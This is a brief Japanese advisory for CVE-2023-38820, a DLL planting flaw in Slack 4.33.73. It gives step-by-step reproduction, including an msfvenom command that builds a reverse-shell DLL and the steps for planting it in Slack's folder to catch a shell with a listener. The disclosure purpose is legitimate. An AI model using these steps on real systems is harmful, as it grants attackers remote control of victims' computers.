DLL-プランティング-Slack-4.33.73-CVE-2023-38820

DLLプランティング in the Slack 4.33.73 - CVE-2023-38820
発見者: Idan Malihi

説明

Slack v.4.33.73の問題により、ローカルの攻撃者がprofapi.dll、CRYPTBASE.dll、KBDUS.DLL、DPAPI.dll、MSASN1.dll、mf.dll、mfplat.dll、RTWorkQ.DLLファイルのDLL読み込みメカニズムを介して任意のコードを実行できる可能性があります。

再現手順

脆弱性を悪用するには、攻撃者はSlackプログラムをダウンロードしてインストールし、以下の手順を実行する必要があります：

1. msfvenomで悪意のあるDLLファイルを作成する：
   msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o profapi.dll
2. 悪意のあるDLLファイルを被害者のコンピュータに転送する
3. Slackのパスを開く："C:\Users\idan.m\AppData\Local\slack\app-4.33.73"
4. 悪意のあるDLLをSlackのパスに転送し、例として"KBDUS.DLL"という名前を付ける
5. netcatまたはmetasploitリスナーを起動する
6. Slack.exeを起動する
7. リバースシェルを取得する